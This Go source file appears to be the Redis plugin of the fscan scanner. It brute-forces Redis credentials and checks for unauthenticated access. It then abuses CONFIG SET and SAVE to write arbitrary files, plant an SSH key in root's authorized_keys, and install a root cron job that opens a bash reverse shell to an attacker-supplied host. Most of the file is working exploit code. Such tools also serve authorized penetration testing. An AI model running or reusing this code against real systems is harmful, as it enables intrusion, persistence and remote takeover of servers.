Files
ZacharyZcR 2f7d2d49c6 fix: redis exploit 超时改用配置值 & 清理死代码
- redis exploit 硬编码 30s deadline 改为 config.ModuleTimeout(),与同文件其他超时一致
- 删除 BaseScanStrategy.LogPluginInfo 残留死代码(全是空操作)
- .gitignore 补充 fscan_cli/fscan_web/embed-agent 构建产物
2026-06-14 23:58:56 +08:00

632 lines
17 KiB
Go

//go:build plugin_redis || !plugin_selective
package services
import (
"bufio"
"context"
"fmt"
"io"
"net"
"os"
"path"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins"
)
// RedisPlugin Redis数据库扫描和利用插件
type RedisPlugin struct {
plugins.BasePlugin
}
const maxRedisReplyBytes = 1 << 20
// NewRedisPlugin 创建Redis插件
func NewRedisPlugin() *RedisPlugin {
return &RedisPlugin{
BasePlugin: plugins.NewBasePlugin("redis"),
}
}
// Scan 执行Redis扫描
func (p *RedisPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
config := session.Config
target := info.Target()
// 首先检查未授权访问(无论是否禁用爆破都要检测)
if result := p.testUnauthorizedAccess(ctx, info, session); result != nil && result.Success {
session.LogVuln(i18n.Tr("redis_unauth_success", target)) //nolint:govet
// 如果需要利用,重新建立连接执行
if p.shouldExploit(config) {
p.exploitWithPassword(ctx, info, "", session)
}
return result
}
// 禁用爆破时不继续密码测试
if config.DisableBrute {
return p.identifyService(ctx, info, session)
}
// 生成测试凭据
credentials := GenerateCredentials("redis", config)
// 使用公共框架进行并发凭据测试
authFn := p.createAuthFunc(info, session)
testConfig := DefaultConcurrentTestConfigWithTarget(config, info)
testConfig.Concurrency = 20 // Redis 默认并发度更高
result := TestCredentialsConcurrently(ctx, credentials, authFn, "redis", testConfig)
// 如果成功,记录并执行利用
if result.Success {
session.LogVuln(i18n.Tr("redis_scan_success", target, result.Password)) //nolint:govet
// 如果需要利用,重新建立连接执行
if p.shouldExploit(config) {
p.exploitWithPassword(ctx, info, result.Password, session)
}
}
return result
}
// createAuthFunc 创建Redis认证函数
func (p *RedisPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc {
return func(ctx context.Context, cred Credential) *AuthResult {
return p.doRedisAuth(ctx, info, cred, session)
}
}
// doRedisAuth 执行Redis认证
func (p *RedisPlugin) doRedisAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult {
target := info.Target()
timeout := session.Config.ModuleTimeout()
// 建立TCP连接
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
if err != nil {
return &AuthResult{
Success: false,
ErrorType: classifyRedisErrorType(err),
Error: err,
}
}
// 如果有密码,进行认证
if cred.Password != "" {
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
if _, writeErr := conn.Write(buildRedisAuthCommand(cred.Password)); writeErr != nil {
_ = conn.Close()
return &AuthResult{
Success: false,
ErrorType: ErrorTypeNetwork,
Error: writeErr,
}
}
_ = conn.SetReadDeadline(time.Now().Add(timeout))
response := make([]byte, 512)
n, readErr := conn.Read(response)
if readErr != nil {
_ = conn.Close()
return &AuthResult{
Success: false,
ErrorType: ErrorTypeNetwork,
Error: readErr,
}
}
responseStr := string(response[:n])
if !strings.Contains(responseStr, "+OK") {
_ = conn.Close()
errType := ErrorTypeUnknown
if strings.Contains(responseStr, "WRONGPASS") ||
strings.Contains(responseStr, "invalid password") ||
strings.Contains(responseStr, "ERR AUTH") ||
strings.Contains(responseStr, "NOAUTH") {
errType = ErrorTypeAuth
}
return &AuthResult{
Success: false,
ErrorType: errType,
Error: fmt.Errorf(i18n.GetText("service_auth_failed")+": %s", strings.TrimSpace(responseStr)),
}
}
}
// 发送PING命令测试连接
pingCmd := "PING\r\n"
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
if _, pingWriteErr := conn.Write([]byte(pingCmd)); pingWriteErr != nil {
_ = conn.Close()
return &AuthResult{
Success: false,
ErrorType: ErrorTypeNetwork,
Error: pingWriteErr,
}
}
_ = conn.SetReadDeadline(time.Now().Add(timeout))
response := make([]byte, 512)
n, pingReadErr := conn.Read(response)
if pingReadErr != nil {
_ = conn.Close()
return &AuthResult{
Success: false,
ErrorType: ErrorTypeNetwork,
Error: pingReadErr,
}
}
responseStr := string(response[:n])
if !strings.Contains(responseStr, "PONG") {
_ = conn.Close()
return &AuthResult{
Success: false,
ErrorType: ErrorTypeUnknown,
Error: fmt.Errorf("%s", i18n.Tr("redis_ping_failed", strings.TrimSpace(responseStr))),
}
}
return &AuthResult{
Success: true,
Conn: conn,
ErrorType: ErrorTypeUnknown,
Error: nil,
}
}
// classifyRedisErrorType Redis错误分类
func classifyRedisErrorType(err error) ErrorType {
if err == nil {
return ErrorTypeUnknown
}
redisAuthErrors := []string{
"wrongpass",
"invalid password",
"err auth",
"noauth authentication required",
"认证失败",
}
return ClassifyError(err, redisAuthErrors, CommonNetworkErrors)
}
// testUnauthorizedAccess 测试未授权访问
func (p *RedisPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
emptyCred := Credential{Username: "", Password: ""}
result := p.doRedisAuth(ctx, info, emptyCred, session)
if result.Success {
if result.Conn != nil {
_ = result.Conn.Close()
}
return &ScanResult{
Type: plugins.ResultTypeVuln,
Success: true,
Service: "redis",
VulInfo: i18n.GetText("unauthorized_access"),
}
}
return nil
}
// exploitWithPassword 使用指定密码建立连接并执行利用
func (p *RedisPlugin) exploitWithPassword(ctx context.Context, info *common.HostInfo, password string, session *common.ScanSession) {
target := info.Target()
conn, err := session.DialTCP(ctx, "tcp", target, session.Config.ModuleTimeout())
if err != nil {
session.LogError(i18n.Tr("redis_reconnect_failed", err))
return
}
defer func() { _ = conn.Close() }()
// 如果有密码,先认证
if password != "" {
_ = conn.SetWriteDeadline(time.Now().Add(session.Config.ModuleTimeout()))
if _, writeErr := conn.Write(buildRedisAuthCommand(password)); writeErr != nil {
return
}
_ = conn.SetReadDeadline(time.Now().Add(session.Config.ModuleTimeout()))
response := make([]byte, 512)
if _, readErr := conn.Read(response); readErr != nil {
return
}
}
p.exploit(ctx, info, conn, password, session.Config, session)
}
// identifyService 服务识别
func (p *RedisPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
target := info.Target()
timeout := session.Config.ModuleTimeout()
conn, err := session.DialTCP(ctx, "tcp", target, timeout)
if err != nil {
return &ScanResult{
Success: false,
Service: "redis",
Error: err,
}
}
defer func() { _ = conn.Close() }()
// 发送PING命令识别
pingCmd := "PING\r\n"
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
if _, writeErr := conn.Write([]byte(pingCmd)); writeErr != nil {
return &ScanResult{
Success: false,
Service: "redis",
Error: writeErr,
}
}
_ = conn.SetReadDeadline(time.Now().Add(timeout))
response := make([]byte, 512)
n, readErr := conn.Read(response)
if readErr != nil {
return &ScanResult{
Success: false,
Service: "redis",
Error: readErr,
}
}
responseStr := string(response[:n])
var banner string
if strings.Contains(responseStr, "PONG") {
banner = i18n.GetText("redis_service_pong")
} else if strings.Contains(responseStr, "-NOAUTH") {
banner = i18n.GetText("redis_service_auth_required")
} else if strings.Contains(responseStr, "-ERR") {
banner = i18n.GetText("redis_service_protocol_response")
} else {
banner = i18n.GetText("redis_service_plain")
}
session.LogSuccess(i18n.Tr("redis_service_identified", target, banner)) //nolint:govet
return &ScanResult{
Type: plugins.ResultTypeService,
Success: true,
Service: "redis",
Banner: banner,
}
}
// =============================================================================
// Redis利用核心函数
// =============================================================================
// shouldExploit 判断是否需要执行利用
func (p *RedisPlugin) shouldExploit(config *common.Config) bool {
return !config.Redis.Disabled &&
(config.Redis.File != "" ||
config.Redis.Shell != "" ||
(config.Redis.WritePath != "" &&
(config.Redis.WriteContent != "" || config.Redis.WriteFile != "")))
}
// exploit 执行Redis漏洞利用
func (p *RedisPlugin) exploit(ctx context.Context, info *common.HostInfo, conn net.Conn, password string, config *common.Config, session *common.ScanSession) {
if config.Redis.Disabled {
return
}
_ = conn.SetDeadline(time.Now().Add(config.ModuleTimeout()))
dbfilename, dir, err := p.getConfig(conn)
if err != nil {
session.LogError(i18n.Tr("redis_config_failed", err))
return
}
select {
case <-ctx.Done():
return
default:
}
// 任意文件写入
if config.Redis.WritePath != "" && config.Redis.WriteContent != "" {
dirPath := path.Dir(config.Redis.WritePath)
fileName := path.Base(config.Redis.WritePath)
if success, _, writeErr := p.writeCustomFile(conn, dirPath, fileName, config.Redis.WriteContent); writeErr != nil {
session.LogError(i18n.Tr("redis_write_failed", writeErr))
} else if success {
session.LogVuln(i18n.Tr("redis_write_success", config.Redis.WritePath))
}
}
// 从本地文件读取并写入
if config.Redis.WritePath != "" && config.Redis.WriteFile != "" {
fileContent, readErr := os.ReadFile(config.Redis.WriteFile)
if readErr != nil {
session.LogError(i18n.Tr("redis_read_failed", readErr))
} else {
dirPath := path.Dir(config.Redis.WritePath)
fileName := path.Base(config.Redis.WritePath)
if success, _, writeErr := p.writeCustomFile(conn, dirPath, fileName, string(fileContent)); writeErr != nil {
session.LogError(i18n.Tr("redis_write_failed", writeErr))
} else if success {
session.LogVuln(i18n.Tr("redis_file_write_success", config.Redis.WriteFile, config.Redis.WritePath))
}
}
}
// SSH密钥写入
if config.Redis.File != "" {
if success, _, keyErr := p.writeKey(conn, config.Redis.File); keyErr != nil {
session.LogError(i18n.Tr("redis_ssh_key_failed", keyErr))
} else if success {
session.LogVuln(i18n.GetText("redis_ssh_key_success"))
}
}
// 定时任务写入
if config.Redis.Shell != "" {
if success, _, cronErr := p.writeCron(conn, config.Redis.Shell); cronErr != nil {
session.LogError(i18n.Tr("redis_cron_failed", cronErr))
} else if success {
session.LogVuln(i18n.GetText("redis_cron_success"))
}
}
// 恢复配置
if err = p.recoverDB(dbfilename, dir, conn); err != nil {
session.LogError(i18n.Tr("redis_restore_failed", err))
}
}
// =============================================================================
// Redis利用辅助函数
// =============================================================================
func (p *RedisPlugin) readReply(conn net.Conn) (string, error) {
_ = conn.SetReadDeadline(time.Now().Add(3 * time.Second))
bytes, err := io.ReadAll(io.LimitReader(conn, maxRedisReplyBytes))
if len(bytes) > 0 && isTimeoutError(err) {
err = nil
}
return string(bytes), err
}
func isTimeoutError(err error) bool {
if err == nil {
return false
}
if ne, ok := err.(net.Error); ok && ne.Timeout() {
return true
}
return false
}
// sendCmd 发送Redis命令并检查OK响应
// 返回响应文本、是否成功、错误
func (p *RedisPlugin) sendCmd(conn net.Conn, cmd []byte) (text string, ok bool, err error) {
if _, err = conn.Write(cmd); err != nil {
return "", false, err
}
text, err = p.readReply(conn)
if err != nil {
return text, false, err
}
return text, strings.Contains(text, "OK"), nil
}
func (p *RedisPlugin) getConfig(conn net.Conn) (dbfilename string, dir string, err error) {
if _, err = conn.Write(buildRedisCommand("CONFIG", "GET", "dbfilename")); err != nil {
return
}
text, err := p.readReply(conn)
if err != nil {
return
}
text1 := strings.Split(text, "\r\n")
if len(text1) > 2 {
dbfilename = text1[len(text1)-2]
} else {
dbfilename = text1[0]
}
if _, err = conn.Write(buildRedisCommand("CONFIG", "GET", "dir")); err != nil {
return
}
text, err = p.readReply(conn)
if err != nil {
return
}
text1 = strings.Split(text, "\r\n")
if len(text1) > 2 {
dir = text1[len(text1)-2]
} else {
dir = text1[0]
}
exploitPaths := []string{"/root/.ssh", "/var/spool/cron", "/var/www/html", "/tmp"}
for _, exploitPath := range exploitPaths {
if strings.HasPrefix(dir, exploitPath) {
dir = "/data"
dbfilename = "dump.rdb"
break
}
}
return
}
func (p *RedisPlugin) recoverDB(dbfilename string, dir string, conn net.Conn) (err error) {
if _, err = conn.Write(buildRedisCommand("CONFIG", "SET", "dbfilename", dbfilename)); err != nil {
return
}
if _, err = p.readReply(conn); err != nil {
return
}
if _, err = conn.Write(buildRedisCommand("CONFIG", "SET", "dir", dir)); err != nil {
return
}
if _, err = p.readReply(conn); err != nil {
return
}
return
}
func (p *RedisPlugin) readFile(filename string) (string, error) {
file, err := os.Open(filename)
if err != nil {
return "", err
}
defer func() { _ = file.Close() }()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
return text, nil
}
}
return "", err
}
func (p *RedisPlugin) writeCustomFile(conn net.Conn, dirPath, fileName, content string) (flag bool, text string, err error) {
// 设置目录
text, ok, err := p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", dirPath))
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 设置文件名
text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dbfilename", fileName))
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 写入内容
text, ok, err = p.sendCmd(conn, buildRedisCommand("SET", "x", content))
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 保存
text, ok, err = p.sendCmd(conn, buildRedisCommand("SAVE"))
if err != nil || !ok {
return false, p.truncateText(text), err
}
return true, p.truncateText(text), nil
}
// truncateText 截断文本到50字符
func (p *RedisPlugin) truncateText(text string) string {
text = strings.TrimSpace(text)
return truncateRunes(text, 50)
}
func (p *RedisPlugin) writeKey(conn net.Conn, filename string) (flag bool, text string, err error) {
// 设置目录
text, ok, err := p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", "/root/.ssh/"))
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 设置文件名
text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dbfilename", "authorized_keys"))
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 读取密钥文件
key, err := p.readFile(filename)
if err != nil {
return false, i18n.Tr("redis_key_file_read_failed", filename, err), err
}
if len(key) == 0 {
return false, i18n.Tr("redis_key_file_empty", filename), nil
}
// 写入密钥
text, ok, err = p.sendCmd(conn, buildRedisCommand("SET", "x", "\n\n\n"+key+"\n\n\n"))
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 保存
text, ok, err = p.sendCmd(conn, buildRedisCommand("SAVE"))
if err != nil || !ok {
return false, p.truncateText(text), err
}
return true, p.truncateText(text), nil
}
func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text string, err error) {
// 尝试设置cron目录(两个可能的路径)
text, ok, err := p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", "/var/spool/cron/crontabs/"))
if err != nil {
return false, p.truncateText(text), err
}
if !ok {
// 尝试备用路径
text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dir", "/var/spool/cron/"))
if err != nil || !ok {
return false, p.truncateText(text), err
}
}
// 设置文件名
text, ok, err = p.sendCmd(conn, buildRedisCommand("CONFIG", "SET", "dbfilename", "root"))
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 解析目标地址
scanIp, scanPort, err := net.SplitHostPort(strings.TrimSpace(host))
if err != nil && strings.Count(host, ":") == 1 {
target := strings.SplitN(host, ":", 2)
scanIp, scanPort = strings.TrimSpace(target[0]), strings.TrimSpace(target[1])
err = nil
}
if err != nil || scanIp == "" || scanPort == "" {
return false, i18n.GetText("redis_host_format_invalid"), nil
}
// 写入cron任务
cronContent := fmt.Sprintf("\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\n", scanIp, scanPort)
text, ok, err = p.sendCmd(conn, buildRedisCommand("SET", "xx", cronContent))
if err != nil || !ok {
return false, p.truncateText(text), err
}
// 保存
text, ok, err = p.sendCmd(conn, buildRedisCommand("SAVE"))
if err != nil || !ok {
return false, p.truncateText(text), err
}
return true, p.truncateText(text), nil
}
func init() {
RegisterPluginWithPorts("redis", func() Plugin {
return NewRedisPlugin()
}, []int{6379, 6380, 6381, 16379, 26379})
}